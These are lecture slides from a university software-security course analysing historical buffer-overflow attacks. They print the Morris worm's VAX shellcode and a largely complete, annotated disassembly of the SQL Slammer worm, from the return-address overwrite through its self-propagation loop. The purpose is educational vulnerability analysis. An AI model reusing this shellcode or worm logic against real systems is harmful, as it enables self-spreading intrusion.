Software Security Smashing the Stack: Real-World Examples Jan - - PowerPoint PPT Presentation

software security
SMART_READER_LITE
LIVE PREVIEW

Software Security Smashing the Stack: Real-World Examples Jan - - PowerPoint PPT Presentation

Software Security Smashing the Stack: Real-World Examples Jan Nordholz Prof. Jean-Pierre Seifert Security in Telecommunications TU Berlin SoSe 2014 jan (sect) Software Security SoSe 2014 1 / 24 Example 1: the Morris worm (1988) first


slide-1
SLIDE 1

Software Security

Smashing the Stack: Real-World Examples Jan Nordholz

  • Prof. Jean-Pierre Seifert

Security in Telecommunications TU Berlin

SoSe 2014

jan (sect) Software Security SoSe 2014 1 / 24

slide-2
SLIDE 2

Example 1: the Morris worm (1988)

first (major) internet worm

  • approx. 6000 infected hosts

three attack vectors for spreading itself:

password guessing (rsh / rexec) sendmail debug feature abuse buffer overflow!

jan (sect) Software Security SoSe 2014 2 / 24

slide-3
SLIDE 3

Example 1: the Morris worm (1988)

Vulnerable application: fingerd network service Finger: ancient service to query user information (back in the days when the internet was not yet open to the general public) hesso@foo:∼>finger hesso@bar Login: hesso Name: Jan Nordholz Directory: /home/hesso Shell: /bin/bash Office: TEL 16, (030) 8353-58663 Never logged in. No mail. No Plan.

jan (sect) Software Security SoSe 2014 3 / 24

slide-4
SLIDE 4

Example 1: the Morris worm (1988)

Back then, fingerd was implemented roughly as:

read requested username from network socket create subprocess execv(/usr/ucb/finger, {finger, username, NULL}) read output from subprocess feed said output back over network socket

Guess what kind of buffer the ”username” is read into. . .

jan (sect) Software Security SoSe 2014 4 / 24

slide-5
SLIDE 5

Example 1: the Morris worm (1988)

Main bug: usage of gets() NEVER USE THIS FUNCTION. Ever.

Reads characters from standard input. . . stops at newline (hex 0x0a). . . but at nothing else! ⇒ Happily reads zero bytes. . . ⇒ No bounds checks!

Unless you know what the input data is, you can never say how many bytes gets() is going to read.

jan (sect) Software Security SoSe 2014 5 / 24

slide-6
SLIDE 6

Example 1: the Morris worm (1988)

Payload: very simple. Stdin/stdout are already set up properly, so all it has to do is execve(/bin/sh, ...). DEC VAX Assembly (stores are left-to-right):

DD8F2F736800 pushl $68732f ; ’/sh\0’ DD8F2F62696E pushl $6e69622f ; ’/bin’ D05E5A movl sp, r10 ; save pointer to command DD00 pushl $0 ; third parameter DD00 pushl $0 ; second parameter DD5A pushl r10 ; push address of ’/bin/sh\0’ DD03 pushl $3 ; number of arguments for chmk D05E5C movl sp, ap ; Argument Pointer register ; = stack pointer BC3B chmk $3b ; change-mode-to-kernel

Basically the same as our int $0x80 stuff.

jan (sect) Software Security SoSe 2014 6 / 24

slide-7
SLIDE 7

Example 2: SQL Slammer / Sapphire (2003)

Also called the ”mini worm”. Fits into a single network packet. Attacks a UDP network service (MS SQL Server). UDP = no latency (no waiting for TCP SYN/ACK), source

  • spoofing. . .

⇒ Massive infection wave. Infection vector: Buffer Overflow!

jan (sect) Software Security SoSe 2014 7 / 24

slide-8
SLIDE 8

Example 2: SQL Slammer / Sapphire (2003)

Main bug: string construction into static buffer with sprintf(). Input data is used for a ”%s” conversion. Worm does not contain zero bytes. ⇒ Full worm body spilled onto stack. Construction novelty (compared to our sample code during the last weeks): Actual worm code resides beyond the return pointer. Control is transferred to worm code by borrowing an instruction from a DLL. (We’ll see a much more systematic approach to this technique in a few weeks.)

jan (sect) Software Security SoSe 2014 8 / 24

slide-9
SLIDE 9

Example 2: SQL Slammer / Sapphire (2003)

jan (sect) Software Security SoSe 2014 9 / 24

slide-10
SLIDE 10

Example 2: SQL Slammer / Sapphire (2003)

Way until the worm gains control:

sprintf() overwrites stack with worm return pointer overwritten with 0x42B0C9DC in order to survive until function exit without causing an exception, dummy, but ”safe” arguments are provided (e. g. pointers to 0x42AE7001) return pointer points somewhere into sqlsort.dll exact address contains the instruction: 0x42b0c9dc: jmp %esp

⇒ At exit of the vulnerable function:

stack is unwound up to the return pointer (violet) return pointer is popped, stack pointer thus moves to start of orange area control is transferred to %esp via above carefully selected jump instruction

jan (sect) Software Security SoSe 2014 10 / 24

slide-11
SLIDE 11

Example 2: SQL Slammer / Sapphire (2003)

81: eb 0e jmp 0x91 ...(dummy arguments) 91: 90 nop ... 98: 90 nop worm jumps forward 14 bytes past its pretense function arguments NOP slide, possibly included for versatility while developing the worm

jan (sect) Software Security SoSe 2014 11 / 24

slide-12
SLIDE 12

Example 2: SQL Slammer / Sapphire (2003)

99: 68 dc c9 b0 42 push $0x42b0c9dc 9e: b8 01 01 01 01 mov $0x1010101,%eax a3: 31 c9 xor %ecx,%ecx a5: b1 18 mov $0x18,%cl a7: 50 push %eax a8: e2 fd loop 0xa7 aa: 35 01 01 01 05 xor $0x5010101,%eax af: 50 push %eax worm restores its own body (return pointer, padding) last two instructions restore the 0x04 at the start, which is crucial to the exploit (it triggers the vulnerable code path) reason: worm needs to restore itself because vulnerable function has partially clobbered the stack contents

jan (sect) Software Security SoSe 2014 12 / 24

slide-13
SLIDE 13

Example 2: SQL Slammer / Sapphire (2003)

b0: 89 e5 mov %esp,%ebp b2: 51 push %ecx b3: 68 2e 64 6c 6c push $0x6c6c642e b8: 68 65 6c 33 32 push $0x32336c65 bd: 68 6b 65 72 6e push $0x6e72656b ... eb: 66 b9 74 6f mov $0x6f74,%cx ef: 51 push %ecx f0: 68 73 65 6e 64 push $0x646e6573 worm sets frame pointer (easier for dereferencing) worm pushes strings onto the stack: ”kernel32.dll”, ”GetTickCount”, ”ws2 32.dll”, ”socket”, ”sendto”

jan (sect) Software Security SoSe 2014 13 / 24

slide-14
SLIDE 14

Example 2: SQL Slammer / Sapphire (2003)

f5: be 18 10 ae 42 mov $0x42ae1018,%esi fa: 8d 45 d4 lea

  • 0x2c(%ebp),%eax

fd: 50 push %eax fe: ff 16 call *(%esi) 100: 50 push %eax worm uses a resolved entry in the IAT of sqlsort.dll. IAT: Import Address Table — cf. PLT (Procedure Linkage Table) on Linux. Recall: PLT entries point to the actual function code in the loaded library (if the symbol has been resolved) or to a stub function in the dynamic linker (which then resolves the symbol and replaces the entry). No address randomization, so library and therefore IAT slot position is known. IAT slot is for ”LoadLibrary” — the equivalent of dlopen(). ⇒ LoadLibrary(ws2 32.dll).

jan (sect) Software Security SoSe 2014 14 / 24

slide-15
SLIDE 15

Example 2: SQL Slammer / Sapphire (2003)

101: 8d 45 e0 lea

  • 0x20(%ebp),%eax

104: 50 push %eax 105: 8d 45 f0 lea

  • 0x10(%ebp),%eax

108: 50 push %eax 109: ff 16 call *(%esi) 10b: 50 push %eax first two lines: prepares the argument ”GetTickCount” for later next four lines: uses the same IAT slot for LoadLibrary(kernel32.dll) handle returned by LoadLibrary is stored on the stack

jan (sect) Software Security SoSe 2014 15 / 24

slide-16
SLIDE 16

Example 2: SQL Slammer / Sapphire (2003)

10c: be 10 10 ae 42 mov $0x42ae1010,%esi 111: 8b 1e mov (%esi),%ebx 113: 8b 03 mov (%ebx),%eax 115: 3d 55 8b ec 51 cmp $0x51ec8b55,%eax 11a: 74 05 je 0x121 11c: be 1c 10 ae 42 mov $0x42ae101c,%esi 121: ff 16 call *(%esi) 123: ff d0 call *%eax worm searches for the IAT slot for ”GetProcAddress”, the Windows equivalent for dlsym(), i. e. dynamic symbol resolution at runtime worm knows two possible IAT slots ⇒ worm ”supports” two different patched versions of SQL server IAT slot is verified by checking the first four instruction bytes of the referenced function body against known prologue finally used to call GetProcAddress(kernel32.dll, GetTickCount) then calls GetTickCount() as seed for PRNG

jan (sect) Software Security SoSe 2014 16 / 24

slide-17
SLIDE 17

Example 2: SQL Slammer / Sapphire (2003)

125: 31 c9 xor %ecx,%ecx 127: 51 push %ecx 128: 51 push %ecx 129: 50 push %eax 12a: 81 f1 03 01 04 9b xor $0x9b040103,%ecx 130: 81 f1 01 01 01 01 xor $0x1010101,%ecx 136: 51 push %ecx makes room on stack then pushes tick count (EAX register) then pushes 0x9A050002, which serve as .sin family and .sin port members for the new destination struct in addr (see manpage for ip(7)) tick count serves as .sin addr and is later randomized

jan (sect) Software Security SoSe 2014 17 / 24

slide-18
SLIDE 18

Example 2: SQL Slammer / Sapphire (2003)

137: 8d 45 cc lea

  • 0x34(%ebp),%eax

13a: 50 push %eax 13b: 8b 45 c0 mov

  • 0x40(%ebp),%eax

13e: 50 push %eax 13f: ff 16 call *(%esi) 141: 6a 11 push $0x11 143: 6a 02 push $0x2 145: 6a 02 push $0x2 147: ff d0 call *%eax 149: 50 push %eax resolves ”socket” using ”GetProcAddress” using the string literal and the opaque handle for ”ws2 32.dll” returned earlier from ”LoadLibrary” calls socket(2, 2, 11), which symbolically means: socket(AF INET, SOCK DGRAM, IPPROTO UDP) ⇒ new udp socket created

jan (sect) Software Security SoSe 2014 18 / 24

slide-19
SLIDE 19

Example 2: SQL Slammer / Sapphire (2003)

14a: 8d 45 c4 lea

  • 0x3c(%ebp),%eax

14d: 50 push %eax 14e: 8b 45 c0 mov

  • 0x40(%ebp),%eax

151: 50 push %eax 152: ff 16 call *(%esi) 154: 89 c6 mov %eax,%esi 156: 09 db

  • r

%ebx,%ebx 158: 81 f3 3c 61 d9 ff xor $0xffd9613c,%ebx worm resolves ”sendto” from ”ws2 32.dll” function pointer stored into ESI register EBX (improperly) initialized

jan (sect) Software Security SoSe 2014 19 / 24

slide-20
SLIDE 20

Example 2: SQL Slammer / Sapphire (2003)

15e: 8b 45 b4 mov

  • 0x4c(%ebp),%eax

161: 8d 0c 40 lea (%eax,%eax,2),%ecx 164: 8d 14 88 lea (%eax,%ecx,4),%edx 167: c1 e2 04 shl $0x4,%edx 16a: 01 c2 add %eax,%edx 16c: c1 e2 08 shl $0x8,%edx 16f: 29 c2 sub %eax,%edx 171: 8d 04 90 lea (%eax,%edx,4),%eax 174: 01 d8 add %ebx,%eax 176: 89 45 b4 mov %eax,-0x4c(%ebp)

  • 0x4c(%ebp) stores the tick-count based PRNG seed

seed is arithmetically jumbled to form a new target IPv4 address result is stored back to the original location, i. e. into the in addr structure

jan (sect) Software Security SoSe 2014 20 / 24

slide-21
SLIDE 21

Example 2: SQL Slammer / Sapphire (2003)

179: 6a 10 push $0x10 17b: 8d 45 b0 lea

  • 0x50(%ebp),%eax

17e: 50 push %eax 17f: 31 c9 xor %ecx,%ecx 181: 51 push %ecx 182: 66 81 f1 78 01 xor $0x178,%cx 187: 51 push %ecx setup code for ”sendto” call (part 1) sendto(SOCKET, buf, len, flags, addr, addrlen) arguments are pushed last-first, so: addrlen is 0x10 == 16 in addr structure starts at %ebp-0x50 flags are zero worm body length is 0x178 == 376

jan (sect) Software Security SoSe 2014 21 / 24

slide-22
SLIDE 22

Example 2: SQL Slammer / Sapphire (2003)

188: 8d 45 03 lea 0x3(%ebp),%eax 18b: 50 push %eax 18c: 8b 45 ac mov

  • 0x54(%ebp),%eax

18f: 50 push %eax 190: ff d6 call *%esi 192: eb ca jmp 0x15e setup code for ”sendto” call (part 2) sendto(SOCKET, buf, len, flags, addr, addrlen) worm payload starts at %ebp+3, right after restoration the worm had set EBP appropriately socket handle was stored on the stack, too call arguments complete, use ”sendto” function pointer in ESI finally jumps back to PRNG code (two slides back)

jan (sect) Software Security SoSe 2014 22 / 24

slide-23
SLIDE 23

Example 3: Wii Homebrew Community

The current (i. e. latest, patched) Wii bootup mechanism is a nice example of secure boot: Each bootloader phase verifies the signature and certificate of the next before passing on control. If you just want to run your own ELF binary on the Wii, no need to hack the bootchain though. A single bug in a game is enough. ⇒ There are plenty. Google for ”Indiana Pwns”, ”Twilight Hack” etc. Attack vector is usually a buffer overflow combined with poor savegame validation. (Savegames are signed with the saving console’s key, so they were

  • riginally thought to be unforgeable.)

jan (sect) Software Security SoSe 2014 23 / 24

slide-24
SLIDE 24

Example 3: Wii Homebrew Community

However, clever people managed to dump the protected Wii memory, gaining control over the console’s private key. ⇒ Easily forgeable savegames. ⇒ All related buffer overflow vulnerabilities in games suddenly become easily exploitable. Wii contains a PowerPC processor; we’re not going to introduce yet another assembly language. Bottom line: buffer overflows — probably the prevalent class of software vulnerabilities. Upcoming topic: the problem with verifying signatures, validating certificates etc. (the Wii’s going to appear again!) After that: the long list of defenses against software vulnerabilities, academic and actual deployed ones; and more advanced attack techniques!

jan (sect) Software Security SoSe 2014 24 / 24